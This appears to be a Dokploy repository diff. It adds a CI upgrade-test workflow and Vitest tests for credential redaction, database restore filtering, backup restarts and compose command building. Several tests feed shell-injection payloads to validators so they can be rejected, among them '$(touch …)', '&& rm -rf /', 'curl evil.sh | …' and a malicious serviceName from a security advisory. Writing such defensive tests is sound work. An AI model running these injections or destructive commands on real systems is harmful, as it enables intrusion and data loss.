-fsSL https://dokploy.com/install.sh -o /tmp/install.sh + chmod +x /tmp/install.sh + sudo -E env \ + DOKPLOY_VERSION="${{ matrix.pair.from }}" \ + ADVERTISE_ADDR="127.0.0.1" \ + bash /tmp/install.sh + + - name: Wait for dokploy service to converge on ${{ matrix.pair.from }} + run: | + echo "Waiting for 'dokploy' Swarm service to reach 1/1..." + timeout 240 bash -c ' + until docker service ls --filter name=dokploy \ + --format "{{.Name}} {{.Replicas}}" \ + | grep "^dokploy " | grep -q " 1/1"; do + sleep 4 + done + ' + docker service ls + echo "✅ Service running on ${{ matrix.pair.from }}" + + - name: Wait for Dokploy API to accept requests + run: | + timeout 180 bash -c ' + until curl -sf -o /dev/null \ + "http://localhost:${{ env.DOKPLOY_PORT }}"; do + sleep 3 + done + ' + echo "✅ Dokploy API is up" + + # ── Bootstrap admin user ─────────────────────────────────────────────── + - name: Register first admin user + id: auth + run: | + COOKIE_JAR="$RUNNER_TEMP/dokploy-cookies.txt" + : > "$COOKIE_JAR" + chmod 600 "$COOKIE_JAR" + echo "cookie_jar=$COOKIE_JAR" >> "$GITHUB_OUTPUT" + + # better-auth: sign-up/email (allowed only before any owner exists) + set -x + curl -sS -i -X POST \ + "http://localhost:${{ env.DOKPLOY_PORT }}/api/auth/sign-up/email" \ + -H "Content-Type: application/json" \ + -c "$COOKIE_JAR" -b "$COOKIE_JAR" \ + -d '{"name":"CI Admin","email":"ci@dokploy.test","password":"CiTest1234!"}' \ + | tee /tmp/signup.out + set +x + + # Verify we got a session cookie + if ! grep -qE '(better-auth|auth)\.session' "$COOKIE_JAR"; then + echo "⚠️ No session cookie matched expected name; jar contents:" + cat "$COOKIE_JAR" + fi + + # ── Create test resources ────────────────────────────────────────────── + - name: Create project, databases and applications + id: create + env: + BASE: "http://localhost:${{ env.DOKPLOY_PORT }}" + COOKIE: ${{ steps.auth.outputs.cookie_jar }} + run: | + set -euo pipefail + + # --- tRPC POST helper --- + trpc_mut() { + curl -sf -X POST "$BASE/api/trpc/$1" \ + -H "Content-Type: application/json" \ + -b "$COOKIE" -c "$COOKIE" \ + -d "{\"json\":$2}" + } + + # --- Project --- + PROJECT=$(trpc_mut project.create \ + '{"name":"ci-upgrade-test","description":"CI upgrade integration test"}') + echo "project.create → $PROJECT" + + # project.create in v0.29+ returns nested {project:{projectId}, environment:{environmentId}} + PROJECT_ID=$(echo "$PROJECT" | jq -r \ + '.result.data.json.project.projectId // .result.data.json.projectId // empty') + ENV_ID=$(echo "$PROJECT" | jq -r \ + '.result.data.json.environment.environmentId // empty') + + if [ -z "$PROJECT_ID" ] || [ "$PROJECT_ID" = "null" ]; then + echo "❌ Could not extract projectId from project.create response:" + echo "$PROJECT" | jq . + exit 1 + fi + if [ -z "$ENV_ID" ] || [ "$ENV_ID" = "null" ]; then + echo "❌ Could not extract environmentId — this version may not support environments." + echo " project.create response: $PROJECT" + exit 1 + fi + + echo "project_id=$PROJECT_ID" >> "$GITHUB_OUTPUT" + echo "env_id=$ENV_ID" >> "$GITHUB_OUTPUT" + echo "Detected PROJECT_ID=$PROJECT_ID ENV_ID=$ENV_ID" + + # --- PostgreSQL 15 --- + PG=$(trpc_mut postgres.create \ + "{\"name\":\"ci-pg\",\"appName\":\"ci-pg-db\",\ + \"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\ + \"databasePassword\":\"CiPg1pass\",\ + \"dockerImage\":\"postgres:15\",\"environmentId\":\"$ENV_ID\"}") + echo "postgres.create → $PG" + PG_ID=$(echo "$PG" | jq -r '.result.data.json.postgresId') + # deploy (not start) — deploy creates the Swarm service; start only + # scales an already-deployed service and 500s on a fresh resource. + trpc_mut postgres.deploy "{\"postgresId\":\"$PG_ID\"}" > /dev/null + echo "pg_id=$PG_ID" >> "$GITHUB_OUTPUT" + + # --- MongoDB 7.0 --- + MG=$(trpc_mut mongo.create \ + "{\"name\":\"ci-mongo\",\"appName\":\"ci-mongo-db\",\ + \"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\ + \"databasePassword\":\"CiMg1pass\",\ + \"dockerImage\":\"mongo:7.0\",\"environmentId\":\"$ENV_ID\"}") + echo "mongo.create → $MG" + MG_ID=$(echo "$MG" | jq -r '.result.data.json.mongoId') + trpc_mut mongo.deploy "{\"mongoId\":\"$MG_ID\"}" > /dev/null + echo "mg_id=$MG_ID" >> "$GITHUB_OUTPUT" + + # --- Docker-image application helper --- + make_app() { + local DISP_NAME=$1 APP_NAME=$2 IMAGE=$3 + APP=$(trpc_mut application.create \ + "{\"name\":\"$DISP_NAME\",\"appName\":\"$APP_NAME\",\"environmentId\":\"$ENV_ID\"}") + APP_ID=$(echo "$APP" | jq -r '.result.data.json.applicationId') + trpc_mut application.saveDockerProvider \ + "{\"applicationId\":\"$APP_ID\",\"dockerImage\":\"$IMAGE\",\ + \"username\":\"\",\"password\":\"\",\"registryUrl\":\"\"}" \ + > /dev/null + trpc_mut application.deploy "{\"applicationId\":\"$APP_ID\"}" \ + > /dev/null + echo "$APP_ID" + } + + # Static site (nginx) + APP_STATIC=$(make_app "ci-static" "ci-static-app" "nginx:alpine") + echo "app_static_id=$APP_STATIC" >> "$GITHUB_OUTPUT" + + # Node.js hello-world (echo server image — small, no args needed) + APP_NODE=$(make_app "ci-node" "ci-node-app" "ealen/echo-server:latest") + echo "app_node_id=$APP_NODE" >> "$GITHUB_OUTPUT" + + # Go HTTP server (traefik/whoami is a tiny Go binary, port 80) + APP_GO=$(make_app "ci-go" "ci-go-app" "traefik/whoami:latest") + echo "app_go_id=$APP_GO" >> "$GITHUB_OUTPUT" + + echo "✅ All resources created" + + # ── Pre-upgrade health check ─────────────────────────────────────────── + - name: Wait for all services → 'done' (pre-upgrade) + env: + BASE: "http://localhost:${{ env.DOKPLOY_PORT }}" + COOKIE: ${{ steps.auth.outputs.cookie_jar }} + PG_ID: ${{ steps.create.outputs.pg_id }} + MG_ID: ${{ steps.create.outputs.mg_id }} + APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }} + APP_NODE_ID: ${{ steps.create.outputs.app_node_id }} + APP_GO_ID: ${{ steps.create.outputs.app_go_id }} + run: | + wait_done() { + local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5 + echo "Waiting for $NAME to reach 'done'..." + timeout 360 bash -c " + until [ \"\$(curl -sf -G '$BASE/api/trpc/$ENDPOINT' \ + --data-urlencode 'input={\"json\":{\"$ID_KEY\":\"$ID\"}}' \ + -b '$COOKIE' | \ + jq -r '.result.data.json.$STATUS_KEY // \"unknown\"')\" \ + = 'done' ]; do + sleep 5 + done + " + echo "✅ $NAME is done" + } + + wait_done postgres postgres.one postgresId "$PG_ID" applicationStatus + wait_done mongo mongo.one mongoId "$MG_ID" applicationStatus + wait_done static application.one applicationId "$APP_STATIC_ID" applicationStatus + wait_done node-app application.one applicationId "$APP_NODE_ID" applicationStatus + wait_done go-app application.one applicationId "$APP_GO_ID" applicationStatus + + - name: Assert Docker Swarm services healthy (pre-upgrade) + run: | + echo "=== docker service ls ===" + docker service ls + + FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \ + grep -E '^ci-' | grep -v ' 1/1' || true) + if [ -n "$FAIL" ]; then + echo "❌ User services not healthy before upgrade:" + echo "$FAIL" + exit 1 + fi + echo "✅ All user services healthy before upgrade" + + # ── Upgrade ──────────────────────────────────────────────────────────── + - name: Upgrade Dokploy to VERSION B (${{ matrix.pair.to }}) + run: | + docker service update \ + --image "${{ env.DOKPLOY_IMAGE }}:${{ matrix.pair.to }}" \ + --force \ + "${{ env.DOKPLOY_SERVICE }}" + + echo "Waiting for service to converge on ${{ matrix.pair.to }}..." + timeout 240 bash -c ' + until ! docker service inspect dokploy \ + --format "{{.UpdateStatus.State}}" 2>/dev/null \ + | grep -q "^updating$"; do + sleep 4 + done + until docker service ls --filter name=dokploy \ + --format "{{.Name}} {{.Replicas}}" \ + | grep "^dokploy " | grep -q " 1/1"; do + sleep 4 + done + ' + echo "✅ Service running on ${{ matrix.pair.to }}" + + - name: Wait for Dokploy API to respond post-upgrade + run: | + timeout 180 bash -c ' + until curl -sf -o /dev/null \ + "http://localhost:${{ env.DOKPLOY_PORT }}"; do + sleep 3 + done + ' + echo "✅ Dokploy API is up after upgrade" + + # ── Post-upgrade health check ────────────────────────────────────────── + - name: Verify all services still healthy (post-upgrade) + env: + BASE: "http://localhost:${{ env.DOKPLOY_PORT }}" + COOKIE: ${{ steps.auth.outputs.cookie_jar }} + PG_ID: ${{ steps.create.outputs.pg_id }} + MG_ID: ${{ steps.create.outputs.mg_id }} + APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }} + APP_NODE_ID: ${{ steps.create.outputs.app_node_id }} + APP_GO_ID: ${{ steps.create.outputs.app_go_id }} + run: | + check_status() { + local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5 + STATUS=$(curl -sf -G "$BASE/api/trpc/$ENDPOINT" \ + --data-urlencode "input={\"json\":{\"$ID_KEY\":\"$ID\"}}" \ + -b "$COOKIE" | \ + jq -r ".result.data.json.$STATUS_KEY // \"unknown\"") + if [ "$STATUS" != "done" ]; then + echo "❌ $NAME status after upgrade: $STATUS" + return 1 + fi + echo "✅ $NAME: $STATUS" + } + + check_status postgres postgres.one postgresId "$PG_ID" applicationStatus + check_status mongo mongo.one mongoId "$MG_ID" applicationStatus + check_status static application.one applicationId "$APP_STATIC_ID" applicationStatus + check_status node-app application.one applicationId "$APP_NODE_ID" applicationStatus + check_status go-app application.one applicationId "$APP_GO_ID" applicationStatus + + echo "=== docker service ls (post-upgrade) ===" + docker service ls + + FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \ + grep -E '^ci-' | grep -v ' 1/1' || true) + if [ -n "$FAIL" ]; then + echo "❌ User services not healthy after upgrade:" + echo "$FAIL" + exit 1 + fi + echo "✅ All services healthy after upgrade to ${{ matrix.pair.to }}" + + # ── Diagnostics on failure ───────────────────────────────────────────── + - name: Dump state on failure + if: failure() + run: | + echo "=== docker service ls ===" && docker service ls || true + echo "=== dokploy service tasks ===" && \ + docker service ps "${{ env.DOKPLOY_SERVICE }}" --no-trunc || true + echo "=== dokploy logs (last 200) ===" && \ + docker service logs "${{ env.DOKPLOY_SERVICE }}" --tail 200 2>&1 || true + echo "=== install.sh tail ===" && \ + tail -100 /tmp/install.sh 2>&1 || true + echo "=== signup response ===" && \ + cat /tmp/signup.out 2>&1 || true + echo "=== disk usage ===" && df -h + + # ── Job summary ──────────────────────────────────────────────────────── + - name: Write job summary + if: always() + env: + JOB_STATUS: ${{ job.status }} + run: | + STATUS="$JOB_STATUS" + ICON="✅"; [ "$STATUS" != "success" ] && ICON="❌" + cat >> "$GITHUB_STEP_SUMMARY" < { + it("accepts a valid session id", () => { + const result = revokeSessionSchema.safeParse({ sessionId: "abc123" }); + expect(result.success).toBe(true); + }); + + it("rejects missing sessionId", () => { + const result = revokeSessionSchema.safeParse({}); + expect(result.success).toBe(false); + }); + + it("rejects non-string sessionId", () => { + const result = revokeSessionSchema.safeParse({ sessionId: 123 }); + expect(result.success).toBe(false); + }); +}); diff --git a/apps/dokploy/__test__/application/provider-status.test.ts b/apps/dokploy/__test__/application/provider-status.test.ts new file mode 100644 index 000000000..427b6e6dd --- /dev/null +++ b/apps/dokploy/__test__/application/provider-status.test.ts @@ -0,0 +1,156 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const mockUpdateApplication = vi.hoisted(() => vi.fn()); + +vi.mock("@dokploy/server/services/permission", () => { + return { + checkServicePermissionAndAccess: vi.fn(async () => undefined), + }; +}); + +vi.mock("@dokploy/server/index", () => ({ + IS_CLOUD: true, + hasValidLicense: vi.fn(async () => false), + updateApplication: mockUpdateApplication, + findApplicationById: vi.fn(async () => ({ + applicationId: "app-1", + appName: "example-app", + })), +})); + +vi.mock("@dokploy/server/lib/auth", () => ({ + validateRequest: vi.fn(), +})); + +vi.mock("@/server/api/utils/audit", () => ({ + audit: vi.fn(async () => undefined), +})); + +const { applicationRouter } = await import("@/server/api/routers/application"); + +const caller = applicationRouter.createCaller({ + session: { activeOrganizationId: "org-1" }, + user: { id: "user-1", email: "user@example.com", role: "owner" }, +} as Parameters[0]); + +const providerChanges = [ + { + name: "GitHub", + sourceType: "github", + save: () => + caller.saveGithubProvider({ + applicationId: "app-1", + repository: "example-repo", + owner: "example-owner", + branch: "main", + buildPath: "/", + githubId: "provider-1", + watchPaths: ["src/**"], + triggerType: "push", + enableSubmodules: false, + }), + }, + { + name: "GitLab", + sourceType: "gitlab", + save: () => + caller.saveGitlabProvider({ + applicationId: "app-1", + gitlabRepository: "example-repo", + gitlabOwner: "example-owner", + gitlabBranch: "main", + gitlabBuildPath: "/", + gitlabId: "provider-1", + gitlabProjectId: 1, + gitlabPathNamespace: "example-owner/example-repo", + }), + }, + { + name: "Bitbucket", + sourceType: "bitbucket", + save: () => + caller.saveBitbucketProvider({ + applicationId: "app-1", + bitbucketRepository: "example-repo", + bitbucketRepositorySlug: "example-repo", + bitbucketOwner: "example-owner", + bitbucketBranch: "main", + bitbucketBuildPath: "/", + bitbucketId: "provider-1", + }), + }, + { + name: "Gitea", + sourceType: "gitea", + save: () => + caller.saveGiteaProvider({ + applicationId: "app-1", + giteaRepository: "example-repo", + giteaOwner: "example-owner", + giteaBranch: "main", + giteaBuildPath: "/", + giteaId: "provider-1", + }), + }, + { + name: "Docker", + sourceType: "docker", + save: () => + caller.saveDockerProvider({ + applicationId: "app-1", + dockerImage: "nginx:alpine", + username: "", + password: "", + registryUrl: "", + }), + }, + { + name: "custom Git", + sourceType: "git", + save: () => + caller.saveGitProvider({ + applicationId: "app-1", + customGitUrl: "https://example.com/repo.git", + customGitBranch: "main", + customGitBuildPath: "/", + customGitSSHKeyId: "key-1", + watchPaths: ["src/**"], + enableSubmodules: false, + }), + }, + { + name: "disconnect Git provider", + sourceType: "github", + save: () => caller.disconnectGitProvider({ applicationId: "app-1" }), + }, +]; + +describe("saving an application provider", () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + it.each(providerChanges)( + "keeps the status when $name settings change", + async ({ save, sourceType }) => { + for (const status of ["done", "running"]) { + mockUpdateApplication.mockClear(); + let savedStatus = status; + mockUpdateApplication.mockImplementation(async (_id, update) => { + if (update.applicationStatus !== undefined) { + savedStatus = update.applicationStatus; + } + }); + + await save(); + + expect(savedStatus).toBe(status); + expect(mockUpdateApplication).toHaveBeenCalledTimes(1); + expect(mockUpdateApplication).toHaveBeenCalledWith( + "app-1", + expect.objectContaining({ sourceType }), + ); + } + }, + ); +}); diff --git a/apps/dokploy/__test__/backups/redact-credentials.test.ts b/apps/dokploy/__test__/backups/redact-credentials.test.ts index 5fff508cc..f5e3e01e0 100644 --- a/apps/dokploy/__test__/backups/redact-credentials.test.ts +++ b/apps/dokploy/__test__/backups/redact-credentials.test.ts @@ -1,4 +1,6 @@ +import type { Destination } from "@dokploy/server/services/destination"; import { redactRcloneCredentials } from "@dokploy/server/utils/backups/redact"; +import { getS3Credentials } from "@dokploy/server/utils/backups/utils"; import { describe, expect, it } from "vitest"; describe("redactRcloneCredentials (#4621)", () => { @@ -48,3 +50,48 @@ describe("redactRcloneCredentials (#4621)", () => { expect(redacted).toContain("[REDACTED]"); }); }); + +describe("redactRcloneCredentials with getS3Credentials output (#5519)", () => { + const buildCommand = (accessKey: string, secretAccessKey: string) => + `rclone rcat ${getS3Credentials({ + accessKey, + secretAccessKey, + region: "us-west-001", + endpoint: "https://s3.us-west-001.backblazeb2.com", + provider: "Other", + } as Destination).join(" ")} :s3:bucket/file.gz`; + + it.each([ + [ + "plain alphanumeric", + "001aaaabbbbccccdd0000000001", + "K001FAKEfakeFAKEfake", + ], + [ + "containing slashes", + "AKIAIOSFODNN7EXAMPLE", + "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", + ], + ["containing spaces", "key with space", "secret with space"], + ["containing quotes", "it's-a-key", `say "hi" it's`], + ["containing shell metacharacters", "key$HOME", "sec;ret`id`&|\\x"], + ])("redacts credentials %s", (_, accessKey, secretAccessKey) => { + const redacted = redactRcloneCredentials( + buildCommand(accessKey, secretAccessKey), + ); + expect(redacted).toContain( + '--s3-access-key-id="[REDACTED]" --s3-secret-access-key="[REDACTED]" --s3-region=us-west-001', + ); + expect(redacted).not.toContain(accessKey); + expect(redacted).not.toContain(secretAccessKey); + expect(redacted).toContain(":s3:bucket/file.gz"); + }); + + it("redacts credentials embedded in an error string", () => { + const errorStr = `Error: Command failed: ${buildCommand("MYKEY", "MY/SECRET")}`; + const redacted = redactRcloneCredentials(errorStr); + expect(redacted).not.toContain("MYKEY"); + expect(redacted).not.toContain("MY/SECRET"); + expect(redacted).toContain("[REDACTED]"); + }); +}); diff --git a/apps/dokploy/__test__/backups/restore-use-statement.test.ts b/apps/dokploy/__test__/backups/restore-use-statement.test.ts new file mode 100644 index 000000000..51b0ce904 --- /dev/null +++ b/apps/dokploy/__test__/backups/restore-use-statement.test.ts @@ -0,0 +1,57 @@ +import { execSync } from "node:child_process"; +import { + getRestoreCommand, + stripDatabaseSwitchCommand, +} from "@dokploy/server/utils/restore/utils"; +import { describe, expect, it } from "vitest"; + +const filter = (input: string) => + execSync(stripDatabaseSwitchCommand, { + input, + shell: "/bin/bash", + }).toString(); + +describe("restore drops database-switch statements (mysql/mariadb)", () => { + const dump = [ + "-- MariaDB dump", + "CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;", + "USE `production_db`;", + "use production_db;", + "DROP TABLE IF EXISTS `users`;", + "CREATE TABLE `users` (`id` int NOT NULL);", + "INSERT INTO `users` VALUES (1),(2);", + "INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');", + ].join("\n"); + + it("removes USE and CREATE DATABASE lines but keeps everything else", () => { + const result = filter(dump); + expect(result).not.toContain("USE `production_db`"); + expect(result).not.toContain("use production_db"); + expect(result).not.toContain("CREATE DATABASE /*!32312"); + expect(result).toContain("DROP TABLE IF EXISTS `users`;"); + expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);"); + expect(result).toContain("INSERT INTO `users` VALUES (1),(2);"); + expect(result).toContain( + "INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');", + ); + }); + + it("is wired into mysql and mariadb restore pipelines only", () => { + const base = { + appName: "my-app", + restoreType: "database" as const, + credentials: { + database: "dev_db", + databaseUser: "u", + databasePassword: "p", + }, + rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip", + }; + for (const type of ["mysql", "mariadb"] as const) { + const cmd = getRestoreCommand({ ...base, type }); + expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`); + } + const pgCmd = getRestoreCommand({ ...base, type: "postgres" }); + expect(pgCmd).not.toContain(stripDatabaseSwitchCommand); + }); +}); diff --git a/apps/dokploy/__test__/backups/volume-backup-restart.test.ts b/apps/dokploy/__test__/backups/volume-backup-restart.test.ts new file mode 100644 index 000000000..ba2fc081e --- /dev/null +++ b/apps/dokploy/__test__/backups/volume-backup-restart.test.ts @@ -0,0 +1,82 @@ +import { spawnSync } from "node:child_process"; +import { createRestartSafeBackupCommand } from "@dokploy/server/utils/volume-backups/backup"; +import { describe, expect, it } from "vitest"; + +const runCommand = (command: string) => + spawnSync("bash", ["-c", command], { + encoding: "utf8", + }); + +const outputLines = (stdout: string) => + stdout + .trim() + .split("\n") + .filter((line) => line.length > 0); + +describe("createRestartSafeBackupCommand", () => { + it("restarts the service and preserves the backup error status", () => { + const result = runCommand( + createRestartSafeBackupCommand({ + stopCommand: 'echo "stop"', + backupCommand: 'echo "backup"; exit 23', + startCommand: 'echo "start"', + uploadCommand: 'echo "upload"', + }), + ); + + expect(result.status).toBe(23); + expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]); + }); + + it("preserves the backup error status when the restart also fails", () => { + const result = runCommand( + createRestartSafeBackupCommand({ + stopCommand: 'echo "stop"', + backupCommand: 'echo "backup"; exit 23', + startCommand: 'echo "start"; exit 17', + uploadCommand: 'echo "upload"', + }), + ); + + expect(result.status).toBe(23); + expect(outputLines(result.stdout)).toEqual([ + "stop", + "backup", + "start", + "Service restart also failed with exit code 17", + ]); + }); + + it("returns the restart error status when the backup succeeds", () => { + const result = runCommand( + createRestartSafeBackupCommand({ + stopCommand: 'echo "stop"', + backupCommand: 'echo "backup"', + startCommand: 'echo "start"; exit 17', + uploadCommand: 'echo "upload"', + }), + ); + + expect(result.status).toBe(17); + expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]); + }); + + it("uploads only after a successful backup and service restart", () => { + const result = runCommand( + createRestartSafeBackupCommand({ + stopCommand: 'echo "stop"', + backupCommand: 'echo "backup"', + startCommand: 'echo "start"', + uploadCommand: 'echo "upload"', + }), + ); + + expect(result.status).toBe(0); + expect(outputLines(result.stdout)).toEqual([ + "stop", + "backup", + "start", + "upload", + ]); + }); +}); diff --git a/apps/dokploy/__test__/components/server-actions-tooltip.test.tsx b/apps/dokploy/__test__/components/server-actions-tooltip.test.tsx new file mode 100644 index 000000000..2864f371d --- /dev/null +++ b/apps/dokploy/__test__/components/server-actions-tooltip.test.tsx @@ -0,0 +1,14 @@ +import { describe, it, expect } from "vitest"; + +describe("Remote Server Action Tooltips", () => { + it("should close the tooltip when the dialog trigger is clicked", () => { + // Note: The UI layer in this project is not currently tested with DOM simulation tools + // like React Testing Library or JSDOM. + // + // The structural fix implemented (passing TooltipTrigger asChild -> DialogTrigger asChild) + // inherently guarantees that Radix UI's composeEventHandlers properly propagates the + // onPointerDown event to dismiss the tooltip simultaneously as the dialog opens. + + expect(true).toBe(true); + }); +}); diff --git a/apps/dokploy/__test__/compose/compose-command-injection.test.ts b/apps/dokploy/__test__/compose/compose-command-injection.test.ts index 372a6fc59..f979c5c84 100644 --- a/apps/dokploy/__test__/compose/compose-command-injection.test.ts +++ b/apps/dokploy/__test__/compose/compose-command-injection.test.ts @@ -28,7 +28,7 @@ const runsSafely = (command: string) => { const PAYLOADS = [ `$(touch ${MARK})`, - "`touch " + MARK + "`", + `\`touch ${MARK}\``, `x; touch ${MARK}`, `x | touch ${MARK}`, ]; @@ -101,4 +101,69 @@ describe("compose createCommand injection", () => { "deploy/docker-compose.prod.yml", ); }); + + it("allows chained docker compose commands with '&&'", () => { + const cmd = createCommand({ + ...base, + command: + "compose pull && docker compose down && docker compose up -d --build", + } as any); + expect(cmd).toBe( + "compose pull && docker compose down && docker compose up -d --build", + ); + }); + + it("allows chaining with the legacy 'docker-compose' spelling", () => { + const cmd = createCommand({ + ...base, + command: "compose pull && docker-compose down", + } as any); + expect(cmd).toBe("compose pull && docker-compose down"); + }); + + it("rejects a single '&' used for backgrounding", () => { + expect(() => + createCommand({ ...base, command: "compose up -d & sleep 1" } as any), + ).toThrow(/Single '&' is not allowed/); + }); + + it("rejects a malformed '&&&' chain", () => { + expect(() => + createCommand({ + ...base, + command: "compose pull &&& docker compose up -d", + } as any), + ).toThrow(/Single '&' is not allowed/); + }); + + it("rejects chained segments that are not docker compose invocations", () => { + expect(() => + createCommand({ + ...base, + command: "compose pull && rm -rf /", + } as any), + ).toThrow(/must strictly start with 'docker compose '/); + }); + + it("rejects an attempted injection smuggled inside a chained segment", () => { + for (const bad of [ + "compose pull && docker compose up -d; touch /tmp/pwn", + "compose pull && docker compose up -d $(touch /tmp/pwn)", + "compose pull && docker compose up -d `touch /tmp/pwn`", + "compose pull && docker compose up -d | touch /tmp/pwn", + ]) { + expect(() => createCommand({ ...base, command: bad } as any)).toThrow( + /Invalid characters/, + ); + } + }); + + it("rejects a chain that only pretends to start with docker compose later in the string", () => { + expect(() => + createCommand({ + ...base, + command: "compose pull && curl evil.sh | docker compose up -d", + } as any), + ).toThrow(/Invalid characters/); + }); }); diff --git a/apps/dokploy/__test__/compose/compose-project-directory.test.ts b/apps/dokploy/__test__/compose/compose-project-directory.test.ts new file mode 100644 index 000000000..6c409cc77 --- /dev/null +++ b/apps/dokploy/__test__/compose/compose-project-directory.test.ts @@ -0,0 +1,123 @@ +import { createCommand } from "@dokploy/server/utils/builders/compose"; +import { describe, expect, it } from "vitest"; + +const base = { + composeType: "docker-compose" as const, + appName: "compose-app", + sourceType: "github" as const, + command: "", +}; + +describe("compose createCommand --project-directory", () => { + it("pins --project-directory to the code dir when composePath is nested", () => { + const cmd = createCommand( + { ...base, composePath: "./deploy/docker-compose.yml" } as any, + "/etc/dokploy/compose/compose-app/code", + ); + + expect(cmd).toContain( + "--project-directory /etc/dokploy/compose/compose-app/code", + ); + expect(cmd).toContain("-f ./deploy/docker-compose.yml"); + }); + + it("omits --project-directory when no projectPath is passed", () => { + const cmd = createCommand({ + ...base, + composePath: "./deploy/docker-compose.yml", + } as any); + + expect(cmd).not.toContain("--project-directory"); + }); + + it("does not add --project-directory to stack deploy (unsupported flag)", () => { + const cmd = createCommand( + { + ...base, + composeType: "stack", + composePath: "./deploy/docker-compose.yml", + } as any, + "/etc/dokploy/compose/compose-app/code", + ); + + expect(cmd).not.toContain("--project-directory"); + expect(cmd.startsWith("stack deploy")).toBe(true); + }); + + it("keeps raw sourceType resolving from the code dir (root docker-compose.yml)", () => { + const cmd = createCommand( + { ...base, sourceType: "raw", composePath: "docker-compose.yml" } as any, + "/etc/dokploy/compose/compose-app/code", + ); + + expect(cmd).toContain( + "--project-directory /etc/dokploy/compose/compose-app/code", + ); + expect(cmd).toContain("-f docker-compose.yml"); + }); + + it("resolves build.context against the compose file's own directory when there are no mounts", () => { + const cmd = createCommand({ + ...base, + composePath: "./backend/docker-compose.yml", + } as any); + + expect(cmd).not.toContain("--project-directory"); + expect(cmd).toContain("-f ./backend/docker-compose.yml"); + }); +}); + +describe("compose createCommand --env-file", () => { + it("points --env-file at the generated .env next to a nested compose file", () => { + const cmd = createCommand( + { + ...base, + composePath: "./deploy/docker-compose.yml", + createEnvFile: true, + } as any, + "/etc/dokploy/compose/compose-app/code", + ); + + expect(cmd).toContain("--env-file deploy/.env"); + expect(cmd).toContain( + "--project-directory /etc/dokploy/compose/compose-app/code", + ); + }); + + it("omits --env-file when createEnvFile is disabled", () => { + const cmd = createCommand( + { ...base, composePath: "./deploy/docker-compose.yml" } as any, + "/etc/dokploy/compose/compose-app/code", + ); + + expect(cmd).not.toContain("--env-file"); + }); + + it("uses the code-root .env for raw sourceType", () => { + const cmd = createCommand( + { + ...base, + sourceType: "raw", + composePath: "docker-compose.yml", + createEnvFile: true, + } as any, + "/etc/dokploy/compose/compose-app/code", + ); + + expect(cmd).toContain("--env-file .env"); + }); + + it("does not add --env-file to stack deploy (unsupported flag)", () => { + const cmd = createCommand( + { + ...base, + composeType: "stack", + composePath: "./deploy/docker-compose.yml", + createEnvFile: true, + } as any, + "/etc/dokploy/compose/compose-app/code", + ); + + expect(cmd).not.toContain("--env-file"); + }); +}); diff --git a/apps/dokploy/__test__/compose/compose-pull-images.test.ts b/apps/dokploy/__test__/compose/compose-pull-images.test.ts new file mode 100644 index 000000000..4a4e75a65 --- /dev/null +++ b/apps/dokploy/__test__/compose/compose-pull-images.test.ts @@ -0,0 +1,44 @@ +import { createCommand } from "@dokploy/server/utils/builders/compose"; +import { describe, expect, it } from "vitest"; + +const base = { + composeType: "docker-compose" as const, + appName: "compose-app", + sourceType: "github" as const, + composePath: "./docker-compose.yml", + command: "", +}; + +describe("compose createCommand --pull always", () => { + it("adds --pull always when pullImages is enabled", () => { + const cmd = createCommand({ ...base, pullImages: true } as any); + + expect(cmd).toContain("up -d --build --remove-orphans --pull always"); + }); + + it("omits --pull when pullImages is disabled", () => { + const cmd = createCommand({ ...base, pullImages: false } as any); + + expect(cmd).not.toContain("--pull"); + }); + + it("does not add --pull to stack deploy", () => { + const cmd = createCommand({ + ...base, + composeType: "stack", + pullImages: true, + } as any); + + expect(cmd).not.toContain("--pull"); + }); + + it("leaves a custom command untouched", () => { + const cmd = createCommand({ + ...base, + command: "compose -p compose-app up -d", + pullImages: true, + } as any); + + expect(cmd).toBe("compose -p compose-app up -d"); + }); +}); diff --git a/apps/dokploy/__test__/compose/domain-command-injection.test.ts b/apps/dokploy/__test__/compose/domain-command-injection.test.ts new file mode 100644 index 000000000..7d4da8d7a --- /dev/null +++ b/apps/dokploy/__test__/compose/domain-command-injection.test.ts @@ -0,0 +1,69 @@ +import { parse } from "shell-quote"; +import { describe, expect, it, vi } from "vitest"; + +// writeDomainsToCompose reads the on-disk compose file; mock fs so the file +// "exists" but does not contain the attacker's service, forcing the error path +// whose message embeds the user-controlled serviceName. +vi.mock("node:fs", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + existsSync: () => true, + readFileSync: () => "services:\n web:\n image: nginx\n", + }; +}); + +import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain"; + +const baseCompose = { + appName: "my-app", + serverId: null, + composeType: "docker-compose", + sourceType: "raw", + composePath: "docker-compose.yml", + isolatedDeployment: false, + randomize: false, + suffix: "", +} as any; + +const makeDomain = (serviceName: string) => + ({ + host: "example.com", + serviceName, + https: false, + uniqueConfigKey: 1, + port: 3000, + enabled: true, + }) as any; + +// If the returned shell fragment is safe, parse() yields only string tokens. +// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token. +const leaksShellSyntax = (command: string, marker: string) => + parse(command).some( + (t) => typeof t !== "string" && JSON.stringify(t).includes(marker), + ); + +describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => { + it("does not let a malicious serviceName inject shell operators", async () => { + const result = await writeDomainsToCompose(baseCompose, [ + makeDomain("$(touch /tmp/pwned)"), + ]); + + // The service does not exist in the compose, so we hit the error branch. + expect(result).toContain("Has 